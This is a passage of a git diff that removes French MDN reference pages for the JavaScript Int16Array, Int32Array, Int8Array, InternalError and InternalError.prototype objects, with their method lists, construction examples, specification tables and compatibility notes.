Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Int16Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Int16Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Int16Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Int16Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Int16Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Int16Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Int16Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Int16Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un Int16Array :

- -
// Construction à partir d'une longueur
-var int16 = new Int16Array(2);
-int16[0] = 42;
-console.log(int16[0]); // 42
-console.log(int16.length); // 2
-console.log(int16.BYTES_PER_ELEMENT); // 2
-
-// Construction à partir d'un tableau
-var arr = new Int16Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un autre TypedArray
-var x = new Int16Array([21, 31]);
-var y = new Int16Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(8);
-var z = new Int16Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var int16 = new Int16Array(iterable);
-// Int16Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Int16Array afin d'utiliser l'opération interne ToIndex pour permettre de l'utiliser sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Int16Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Int16Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Int16Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Int16Array([1, 2, 3]);
-// TypeError: calling a builtin Int16Array constructor
-// without new is forbidden
- -
var dv = new Int16Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/int32array/index.html b/files/fr/web/javascript/reference/objets_globaux/int32array/index.html deleted file mode 100644 index ecdc62a803..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/int32array/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: Int32Array -slug: Web/JavaScript/Reference/Objets_globaux/Int32Array -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/Int32Array ---- -
{{JSRef}}
- -

Le tableau typé Int32Array permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 32 bits et dans l'ordre des octets de la plate-forme. Pour avoir un contrôle sur le boutisme utilisé, il faudra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).

- -

Syntaxe

- -
new Int32Array(); // apparu avec ES2017
-new Int32Array(longueur);
-new Int32Array(tableauTypé);
-new Int32Array(objet);
-new Int32Array(buffer [, positionOctet [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les tableaux typés (TypedArray).

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int32Array.BYTES_PER_ELEMENT")}}
-
Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de Int32Array, la propriété vaudra 4.
-
Int32Array.length
-
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Int32Array.name")}}
-
Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de Int32Array, la propriété vaudra "Int32Array".
-
{{jsxref("TypedArray.prototype", "Int32Array.prototype")}}
-
Prototype pour les objets TypedArray.
-
- -

Méthodes

- -
-
Int32Array.from()
-
Crée un nouvel objet Int32Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
-
Int32Array.of()
-
Crée un nouvel objet Int32Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}
-
- -

Prototype de Int32Array

- -

Tous les objets Int32Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Int32Array.prototype.constructor
-
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif Int32Array.
-
{{jsxref("TypedArray.prototype.buffer", "Int32Array.prototype.buffer")}} {{readonlyInline}}
-
Renvoie l'{{jsxref("ArrayBuffer")}} référencée par l'objet Int32Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Int32Array.prototype.byteLength")}} {{readonlyInline}}
-
Renvoie la longueur, exprimée en octets, de l'objet Int32Array depuis le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Int32Array.prototype.byteOffset")}} {{readonlyInline}}
-
Renvoie le décalage, exprimé en octets, entre l'objet Int32Array et le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}} {{readonlyInline}}
-
Renvoie le nombre d'éléments contenus dans l'objet Int32Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Int32Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Int32Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Int32Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Int32Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Int32Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Int32Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Int32Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Int32Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Int32Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Int32Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Int32Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Int32Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Int32Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Int32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Int32Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Int32Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Int32Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Int32Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Int32Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Int32Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Int32Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Int32Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Int32Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Int32Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Int32Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Int32Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Int32Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un objet Int32Array :

- -
// Construction à partir d'une longueur
-var int32 = new Int32Array(2);
-int32[0] = 42;
-console.log(int32[0]); // 42
-console.log(int32.length); // 2
-console.log(int32.BYTES_PER_ELEMENT); // 4
-
-// Construction à partir d'un tableau
-var arr = new Int32Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un autre TypedArray
-var x = new Int32Array([21, 31]);
-var y = new Int32Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(16);
-var z = new Int32Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var int32 = new Int32Array(iterable);
-// Int32Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin de pouvoir utiliser l'opération interne ToIndex et permettre de l'utiliser sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Int32Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Int32Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Int32Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Int32Array([1, 2, 3]);
-// TypeError: calling a builtin Int32Array constructor
-// without new is forbidden
- -
var dv = new Int32Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/int8array/index.html b/files/fr/web/javascript/reference/objets_globaux/int8array/index.html deleted file mode 100644 index 3226323471..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/int8array/index.html +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Int8Array -slug: Web/JavaScript/Reference/Objets_globaux/Int8Array -tags: - - Constructor - - Int8Array - - JavaScript - - Reference - - TypedArray - - TypedArrrays -translation_of: Web/JavaScript/Reference/Global_Objects/Int8Array ---- -
{{JSRef}}
- -

Le tableau typé Int8Array permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 8 bits. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).

- -

Syntaxe

- -
new Int8Array(); // apparu avec ES2017
-new Int8Array(length);
-new Int8Array(typedArray);
-new Int8Array(object);
-new Int8Array(buffer [, byteOffset [, length]]);
- -

Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les tableaux typés (TypedArray).

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int8Array.BYTES_PER_ELEMENT")}}
-
Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de Int8Array, la propriété vaudra 1.
-
Int8Array.length
-
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Int8Array.name")}}
-
Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de Int8Array, la propriété vaudra "Int8Array".
-
{{jsxref("TypedArray.prototype", "Int8Array.prototype")}}
-
Prototype pour les objets TypedArray.
-
- -

Méthodes

- -
-
Int8Array.from()
-
Crée un nouvel objet Int8Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
-
Int8Array.of()
-
Crée un nouvel objet Int8Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.
-
- -

Prototype de Int8Array

- -

Tous les objets Int8Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Int8Array.prototype.constructor
-
Renvoie la fonction qui a créé l'instance. Par défaut, c'est le constructeur Int8Array.
-
{{jsxref("TypedArray.prototype.buffer", "Int8Array.prototype.buffer")}} {{readonlyInline}}
-
Renvoie l'objet {{jsxref("ArrayBuffer")}} auquel fait référence le tableau Int8Array. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
-
{{jsxref("TypedArray.prototype.byteLength", "Int8Array.prototype.byteLength")}} {{readonlyInline}}
-
Renvoie la longueur (exprimée en octet) du tableau Int8Array depuis le début du tampon {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
-
{{jsxref("TypedArray.prototype.byteOffset", "Int8Array.prototype.byteOffset")}} {{readonlyInline}}
-
Renvoie le décalage (exprimé en octets) du tableau Int8Array par rapport au début du tampon {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
-
{{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}} {{readonlyInline}}
-
Renvoie le nombre d'éléments contenus dans le tableau Int8Array. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Int8Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Int8Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Int8Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Int8Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Int8Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Int8Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Int8Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Int8Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Int8Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Int8Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Int8Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Int8Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Int8Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Int8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Int8Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Int8Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Int8Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Int8Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Int8Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Int8Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Int8Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Int8Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Int8Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Int8Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Int8Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Int8Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Int8Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -
-
- -

Exemples

- -

Différentes façons de créer un objet Int8Array :

- -
// Construction à partir d'une longueur
-var int8 = new Int8Array(2);
-int8[0] = 42;
-console.log(int8[0]); // 42
-console.log(int8.length); // 2
-console.log(int8.BYTES_PER_ELEMENT); // 1
-
-// Construction à partir d'un tableau
-var arr = new Int8Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un autre TypedArray
-var x = new Int8Array([21, 31]);
-var y = new Int8Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(8);
-var z = new Int8Array(buffer, 1, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var int8 = new Int8Array(iterable);
-// Int8Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin d'utiliser l'opération interne ToIndex et permettre de l'utiliser sans constructeur.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Int8Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Int8Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Int8Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Int8Array([1, 2, 3]);
-// TypeError: calling a builtin Int8Array constructor
-// without new is forbidden
- -
var dv = new Int8Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/internalerror/index.html b/files/fr/web/javascript/reference/objets_globaux/internalerror/index.html deleted file mode 100644 index a743ef18ca..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/internalerror/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: InternalError -slug: Web/JavaScript/Reference/Objets_globaux/InternalError -tags: - - Error - - InternalError - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/InternalError ---- -
{{JSRef}} {{non-standard_header}}
- -

L'objet InternalError indique qu'une erreur liée au moteur JavaScript s'est produite. Par exemple "InternalError : Niveau de récursion trop important".

- -

Syntaxe

- -
new InternalError([message[, fileName[, lineNumber]]])
- -

Paramètres

- -
-
message
-
Paramètre optionnel. Une description de l'erreur compréhensible pour un être humain.
-
fileName {{Non-standard_inline}}
-
Paramètre optionnel. Le nom du fichier contenant le code à l'origine de l'erreur.
-
lineNumber {{Non-standard_inline}}
-
Paramètre optionnel. Le numéro de la ligne du code à l'origine de l'erreur.
-
- -

Description

- -

Une exception InternalError est levée à chaque fois qu'il se produit une erreur interne au moteur JavaScript.

- -

Le plus souvent, cette exception se produit lorsque quelque chose atteint un niveau trop élévé. Par exemple :

- -
    -
  • trop de cas dans une construction switch,
    • -
  • trop de parenthèses au sein d'une expression rationnelle,
    • -
  • un tableau littéral trop grand,
    • -
  • trop de niveaux de récursion.
    • -
- -

Propriétés

- -
-
{{jsxref("InternalError.prototype")}}
-
Permet l'ajout de nouvelles propriétés à un objet InternalError.
-
- -

Méthodes

- -

L'objet global InternalError ne contient pas de méthode propre. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.

- -

Instances de InternalError

- -

Propriétés

- -
{{page("/fr/docs/JavaScript/Reference/Objets_globaux/InternalError/prototype","Properties")}}
- -

Méthodes

- -
{{page("/fr/docs/JavaScript/Reference/Objets_globaux/InternalError/prototype","Methods")}}
- -

Spécifications

- -

Cet objet ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.InternalError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("InternalError.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/internalerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/internalerror/prototype/index.html deleted file mode 100644 index 7d44d99002..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/internalerror/prototype/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: InternalError.prototype -slug: Web/JavaScript/Reference/Objets_globaux/InternalError/prototype -tags: - - Error - - InternalError - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/InternalError -translation_of_original: Web/JavaScript/Reference/Global_Objects/InternalError/prototype ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété InternalError.prototype représente le prototype du constructeur {{jsxref("InternalError")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Toutes les instances de {{jsxref("InternalError")}} héritent de {{jsxref("InternalError.prototype")}}. Ce prototype peut être utilisé pour ajouter des propriétés et/ou des méthodes à toutes les instances.

- -

Propriétés

- -
-
InternalError.prototype.constructor
-
Définit la fonction qui permet de créer une instance du prototype.
-
{{jsxref("Error.prototype.message", "InternalError.prototype.message")}}
-
Un nom d'erreur. Bien que ECMA-262 spécifie que InternalError devrait fournir une propriété propre pour message. L'implémentation de SpiderMonkey fait que cette propriété est héritée via {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "InternalError.prototype.name")}}
-
Un nom d'erreur. Hérité via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "InternalError.prototype.fileName")}}
-
Le chemin du fichier à l'origine de l'erreur. Héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "InternalError.prototype.lineNumber")}}
-
Le numéro de la ligne dans le fichier pour le code qui a déclenché l'erreur. Héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "InternalError.prototype.columnNumber")}}
-
Le numéro de la colonne dans la ligne du fichier pour le code qui a déclenché l'erreur. Héritée via {{jsxref("Error")}}.
-
